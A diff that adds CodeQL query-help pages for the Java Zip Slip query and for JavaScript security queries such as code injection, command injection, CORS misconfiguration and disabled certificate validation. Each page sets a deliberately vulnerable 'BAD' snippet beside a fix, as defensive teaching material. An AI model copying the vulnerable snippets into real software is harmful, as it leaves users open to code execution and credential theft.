@@ +# Arbitrary file write during archive extraction ("Zip Slip") + +``` +ID: java/zipslip +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-022/ZipSlip.ql) + +Extracting files from a malicious zip archive (or another archive format) without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. + +Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. + + +## Recommendation +Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. + +The recommended way of writing an output file from a zip archive entry is to verify that the normalized full path of the output file starts with a prefix that matches the destination directory. Path normalization can be done with either `java.io.File.getCanonicalFile()` or `java.nio.file.Path.normalize()`. Prefix checking can be done with `String.startsWith(..)`, but it is better to use `java.nio.file.Path.startsWith(..)`, as the latter works on complete path segments. + +Another alternative is to validate archive entries against a whitelist of expected files. + + +## Example +In this example, a file path taken from a zip archive item entry is combined with a destination directory. The result is used as the destination file path without verifying that the result is within the destination directory. If provided with a zip file containing an archive path like `..\sneaky-file`, then this file would be written outside the destination directory. + + +```java +void writeZipEntry(ZipEntry entry, File destinationDir) { + File file = new File(destinationDir, entry.getName()); + FileOutputStream fos = new FileOutputStream(file); // BAD + // ... write entry to fos ... +} + +``` +To fix this vulnerability, we need to verify that the normalized `file` still has `destinationDir` as its prefix, and throw an exception if this is not the case. + + +```java +void writeZipEntry(ZipEntry entry, File destinationDir) { + File file = new File(destinationDir, entry.getName()); + if (!file.toPath().normalize().startsWith(destinationDir.toPath())) + throw new Exception("Bad zip entry"); + FileOutputStream fos = new FileOutputStream(file); // OK + // ... write entry to fos ... +} + +``` + +## References +* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript.rst b/docs/language/query-help/javascript.rst new file mode 100644 index 00000000000..48b5a9adf17 --- /dev/null +++ b/docs/language/query-help/javascript.rst @@ -0,0 +1,4 @@ +JavaScript query help +===================== + +.. include:: toc-javascript.rst \ No newline at end of file diff --git a/docs/language/query-help/javascript/AllowRunningInsecureContent.md b/docs/language/query-help/javascript/AllowRunningInsecureContent.md new file mode 100644 index 00000000000..478c8422d1e --- /dev/null +++ b/docs/language/query-help/javascript/AllowRunningInsecureContent.md @@ -0,0 +1,37 @@ +# Enabling Electron allowRunningInsecureContent + +``` +ID: js/enabling-electron-insecure-content +Kind: problem +Severity: error +Precision: very-high +Tags: security frameworks/electron + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Electron/AllowRunningInsecureContent.ql) + +Electron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy. + +Enabling the execution of insecure content is strongly discouraged. + + +## Recommendation +Do not enable the `allowRunningInsecureContent` property. + + +## Example +The following example shows `allowRunningInsecureContent` being enabled. + + +```javascript +const mainWindow = new BrowserWindow({ + webPreferences: { + allowRunningInsecureContent: true + } +}) +``` +This is problematic, since it allows the execution of code from an untrusted origin. + + +## References +* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true) \ No newline at end of file diff --git a/docs/language/query-help/javascript/BadRandomness.md b/docs/language/query-help/javascript/BadRandomness.md new file mode 100644 index 00000000000..ede4de2113f --- /dev/null +++ b/docs/language/query-help/javascript/BadRandomness.md @@ -0,0 +1,66 @@ +# Creating biased random numbers from a cryptographically secure source. + +``` +ID: js/biased-cryptographic-random +Kind: problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-327/BadRandomness.ql) + +Generating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers. + +However, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system. + + +## Recommendation +Be very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers. + +If possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead. + + +## Example +The example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness. + + +```javascript +const crypto = require('crypto'); + +const digits = []; +for (let i = 0; i < 10; i++) { + digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK +} +``` +The random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9. + +The issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values. + + +```javascript +const cryptoRandomString = require('crypto-random-string'); + +const digits = cryptoRandomString({length: 10, type: 'numeric'}); +``` +Alternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9. + + +```javascript +const crypto = require('crypto'); + +const digits = []; +while (digits.length < 10) { + const byte = crypto.randomBytes(1)[0]; + if (byte >= 250) { + continue; + } + digits.push(byte % 10); // OK +} +``` + +## References +* Stack Overflow: [Understanding “randomness”](https://stackoverflow.com/questions/3956478/understanding-randomness). +* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness). +* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md b/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..7f0b1cf0bb6 --- /dev/null +++ b/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md @@ -0,0 +1,43 @@ +# Use of a broken or weak cryptographic algorithm + +``` +ID: js/weak-cryptographic-algorithm +Kind: path-problem +Severity: warning +Precision: high +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing. + + +## Example +The following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. + + +```javascript +const crypto = require('crypto'); + +var secretText = obj.getSecretText(); + +const desCipher = crypto.createCipher('des', key); +let desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption + +const aesCipher = crypto.createCipher('aes-128', key); +let aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption + +``` + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/BuildArtifactLeak.md b/docs/language/query-help/javascript/BuildArtifactLeak.md new file mode 100644 index 00000000000..2ca9dc9ae72 --- /dev/null +++ b/docs/language/query-help/javascript/BuildArtifactLeak.md @@ -0,0 +1,57 @@ +# Storage of sensitive information in build artifact + +``` +ID: js/build-artifact-leak +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/BuildArtifactLeak.ql) + +Sensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published. + + +## Recommendation +Only store information that is meant to be publicly available in a build artifact. + + +## Example +The following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact: + + +```javascript +const webpack = require("webpack"); + +module.exports = [{ + plugins: [ + new webpack.DefinePlugin({ + "process.env": JSON.stringify(process.env) + }) + ] +}]; +``` +The environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public. + +The issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact. + + +```javascript +const webpack = require("webpack"); + +module.exports = [{ + plugins: [ + new webpack.DefinePlugin({ + 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG }) + }) + ] +}]; + +``` + +## References +* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/). +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CleartextLogging.md b/docs/language/query-help/javascript/CleartextLogging.md new file mode 100644 index 00000000000..5d5097e8d76 --- /dev/null +++ b/docs/language/query-help/javascript/CleartextLogging.md @@ -0,0 +1,66 @@ +# Clear-text logging of sensitive information + +``` +ID: js/clear-text-logging +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/CleartextLogging.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. + + +## Example +The following example code stores user credentials (in this case, their password) in a cookie in plain text: + + +```javascript +var express = require('express'); + +var app = express(); +app.get('/remember-password', function (req, res) { + let pw = req.param("current_password"); + // BAD: Setting a cookie value with cleartext sensitive data. + res.cookie("password", pw); +}); + +``` +Instead, the credentials should be encrypted, for instance by using the Node.js `crypto` module: + + +```javascript +var express = require('express'); +var crypto = require('crypto'), + password = getPassword(); + +function encrypt(text){ + var cipher = crypto.createCipher('aes-256-ctr', password); + return cipher.update(text, 'utf8', 'hex') + cipher.final('hex'); +} + +var app = express(); +app.get('/remember-password', function (req, res) { + let pw = req.param("current_password"); + // GOOD: Encoding the value before setting it. + res.cookie("password", encrypt(pw)); +}); + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CleartextStorage.md b/docs/language/query-help/javascript/CleartextStorage.md new file mode 100644 index 00000000000..8601e4a98b1 --- /dev/null +++ b/docs/language/query-help/javascript/CleartextStorage.md @@ -0,0 +1,66 @@ +# Clear text storage of sensitive information + +``` +ID: js/clear-text-storage-of-sensitive-data +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/CleartextStorage.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + +Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. + + +## Example +The following example code stores user credentials (in this case, their password) in a cookie in plain text: + + +```javascript +var express = require('express'); + +var app = express(); +app.get('/remember-password', function (req, res) { + let pw = req.param("current_password"); + // BAD: Setting a cookie value with cleartext sensitive data. + res.cookie("password", pw); +}); + +``` +Instead, the credentials should be encrypted, for instance by using the Node.js `crypto` module: + + +```javascript +var express = require('express'); +var crypto = require('crypto'), + password = getPassword(); + +function encrypt(text){ + var cipher = crypto.createCipher('aes-256-ctr', password); + return cipher.update(text, 'utf8', 'hex') + cipher.final('hex'); +} + +var app = express(); +app.get('/remember-password', function (req, res) { + let pw = req.param("current_password"); + // GOOD: Encoding the value before setting it. + res.cookie("password", encrypt(pw)); +}); + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). +* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). +* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ClientSideUrlRedirect.md b/docs/language/query-help/javascript/ClientSideUrlRedirect.md new file mode 100644 index 00000000000..fc5630abd8c --- /dev/null +++ b/docs/language/query-help/javascript/ClientSideUrlRedirect.md @@ -0,0 +1,33 @@ +# Client-side URL redirect + +``` +ID: js/client-side-unvalidated-url-redirection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-601/ClientSideUrlRedirect.ql) + +Redirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks: + + +```javascript +window.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1]; + +``` + +## References +* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). +* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CodeInjection.md b/docs/language/query-help/javascript/CodeInjection.md new file mode 100644 index 00000000000..3d53cee6e66 --- /dev/null +++ b/docs/language/query-help/javascript/CodeInjection.md @@ -0,0 +1,34 @@ +# Code injection + +``` +ID: js/code-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-094 external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/CodeInjection.ql) + +Directly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors. + + +## Recommendation +Avoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur. + + +## Example +The following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information. + + +```javascript +eval(document.location.href.substring(document.location.href.indexOf("default=")+8)) + +``` + +## References +* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). +* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). +* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CommandInjection.md b/docs/language/query-help/javascript/CommandInjection.md new file mode 100644 index 00000000000..ee600f0cdee --- /dev/null +++ b/docs/language/query-help/javascript/CommandInjection.md @@ -0,0 +1,42 @@ +# Uncontrolled command line + +``` +ID: js/command-line-injection +Kind: path-problem +Severity: error +Precision: high +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/CommandInjection.ql) + +Code that passes user input directly to `require('child_process').exec`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `child_process.exec` without examining it first. + + +```javascript +var cp = require("child_process"), + http = require('http'), + url = require('url'); + +var server = http.createServer(function(req, res) { + let cmd = url.parse(req.url, true).query.path; + + cp.exec(cmd); // BAD +}); + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ConditionalBypass.md b/docs/language/query-help/javascript/ConditionalBypass.md new file mode 100644 index 00000000000..d9812c6f614 --- /dev/null +++ b/docs/language/query-help/javascript/ConditionalBypass.md @@ -0,0 +1,64 @@ +# User-controlled bypass of security check + +``` +ID: js/user-controlled-bypass +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-807 external/cwe/cwe-290 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-807/ConditionalBypass.ql) + +Using user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data. + + +## Recommendation +When checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values. + +Similarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for. + + +## Example +In this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in. + + +```javascript +var express = require('express'); +var app = express(); +// ... +app.get('/full-profile/:userId', function(req, res) { + + if (req.cookies.loggedInUserId !== req.params.userId) { + // BAD: login decision made based on user controlled data + requireLogin(); + } else { + // ... show private information + } + +}); + +``` +This security check is, however, insufficient since an attacker can craft his cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values: + + +```javascript +var express = require('express'); +var app = express(); +// ... +app.get('/full-profile/:userId', function(req, res) { + + if (req.signedCookies.loggedInUserId !== req.params.userId) { + // GOOD: login decision made based on server controlled data + requireLogin(); + } else { + // ... show private information + } + +}); + +``` + +## References +* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). +* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md b/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md new file mode 100644 index 00000000000..11c44308a1b --- /dev/null +++ b/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md @@ -0,0 +1,78 @@ +# CORS misconfiguration for credentials transfer + +``` +ID: js/cors-misconfiguration-for-credentials +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-346 external/cwe/cwe-639 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-346/CorsMisconfigurationForCredentials.ql) + +A server can send the `"Access-Control-Allow-Credentials"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests. + +When the `Access-Control-Allow-Credentials` header is `"true"`, the `Access-Control-Allow-Origin` header must have a value different from `"*"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `"Access-Control-Allow-Origin"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to. + + +## Recommendation +When the `Access-Control-Allow-Credentials` header value is `"true"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input. + +Since the `"null"` origin is easy to obtain for an attacker, it is never safe to use `"null"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `"true"`. + + +## Example +In the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request. + + +```javascript +var https = require('https'), + url = require('url'); + +var server = https.createServer(function(){}); + +server.on('request', function(req, res) { + let origin = url.parse(req.url, true).query.origin; + // BAD: attacker can choose the value of origin + res.setHeader("Access-Control-Allow-Origin", origin); + res.setHeader("Access-Control-Allow-Credentials", true); + + // ... +}); + +``` +This is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue: + + +```javascript +var https = require('https'), + url = require('url'); + +var server = https.createServer(function(){}); + +server.on('request', function(req, res) { + let origin = url.parse(req.url, true).query.origin, + whitelist = { + "https://example.com": true, + "https://subdomain.example.com": true, + "https://example.com:1337": true + }; + + if (origin in whitelist) { + // GOOD: the origin is in the whitelist + res.setHeader("Access-Control-Allow-Origin", origin); + res.setHeader("Access-Control-Allow-Credentials", true); + } + + // ... +}); + +``` + +## References +* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin). +* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials). +* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html) +* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources) +* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html). +* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingCertificateValidation.md b/docs/language/query-help/javascript/DisablingCertificateValidation.md new file mode 100644 index 00000000000..ba0c7303288 --- /dev/null +++ b/docs/language/query-help/javascript/DisablingCertificateValidation.md @@ -0,0 +1,49 @@ +# Disabling certificate validation + +``` +ID: js/disabling-certificate-validation +Kind: problem +Severity: error +Precision: very-high +Tags: security external/cwe-295 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-295/DisablingCertificateValidation.ql) + +Certificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur + +When testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used. + + +## Recommendation +Do not disable certificate validation for TLS connections. + + +## Example +The following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information. + + +```javascript +let https = require("https"); + +https.request( + { + hostname: "secure.my-online-bank.com", + port: 443, + method: "POST", + path: "send-confidential-information", + rejectUnauthorized: false // BAD + }, + response => { + // ... communicate with secure.my-online-bank.com + } +); + +``` +To make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`. + + +## References +* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security) +* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) +* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html) \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingSce.md b/docs/language/query-help/javascript/DisablingSce.md new file mode 100644 index 00000000000..d85446cd142 --- /dev/null +++ b/docs/language/query-help/javascript/DisablingSce.md @@ -0,0 +1,55 @@ +# Disabling SCE + +``` +ID: js/angular/disabling-sce +Kind: problem +Severity: warning +Precision: very-high +Tags: security maintainability frameworks/angularjs + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/AngularJS/DisablingSce.ql) + +AngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism. + +Disabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting. + + +## Recommendation +Do not disable SCE. + + +## Example +The following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`. + + +```javascript +angular.module('app', []) + .config(function($sceProvider) { + $sceProvider.enabled(false); // BAD + }).controller('controller', function($scope) { + // ... + $scope.html = '
  • ' + item.toString() + '
'; + }); + +``` +This is problematic, since it disables SCE for the entire AngularJS application. + +Instead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`: + + +```javascript +angular.module('app', []) + .controller('controller', function($scope, $sce) { + // ... + // GOOD (but should use the templating system instead) + $scope.html = $sce.trustAsHtml('
  • ' + item.toString() + '
'); + }); + +``` +Please note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible. + + +## References +* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce) +* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-). \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingWebSecurity.md b/docs/language/query-help/javascript/DisablingWebSecurity.md new file mode 100644 index 00000000000..766699394e5 --- /dev/null +++ b/docs/language/query-help/javascript/DisablingWebSecurity.md @@ -0,0 +1,37 @@ +# Disabling Electron webSecurity + +``` +ID: js/disabling-electron-websecurity +Kind: problem +Severity: error +Precision: very-high +Tags: security frameworks/electron + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Electron/DisablingWebSecurity.ql) + +Electron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy. + +Disabling the same-origin policy is strongly discouraged. + + +## Recommendation +Do not disable `webSecurity`. + + +## Example +The following example shows `webSecurity` being disabled. + + +```javascript +const mainWindow = new BrowserWindow({ + webPreferences: { + webSecurity: false + } +}) +``` +This is problematic, since it allows the execution of insecure code from other domains. + + +## References +* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity) \ No newline at end of file diff --git a/docs/language/query-help/javascript/DoubleEscaping.md b/docs/language/query-help/javascript/DoubleEscaping.md new file mode 100644 index 00000000000..38d0d77adf6 --- /dev/null +++ b/docs/language/query-help/javascript/DoubleEscaping.md @@ -0,0 +1,73 @@ +# Double escaping or unescaping + +``` +ID: js/double-escaping +Kind: problem +Severity: warning +Precision: high +Tags: correctness 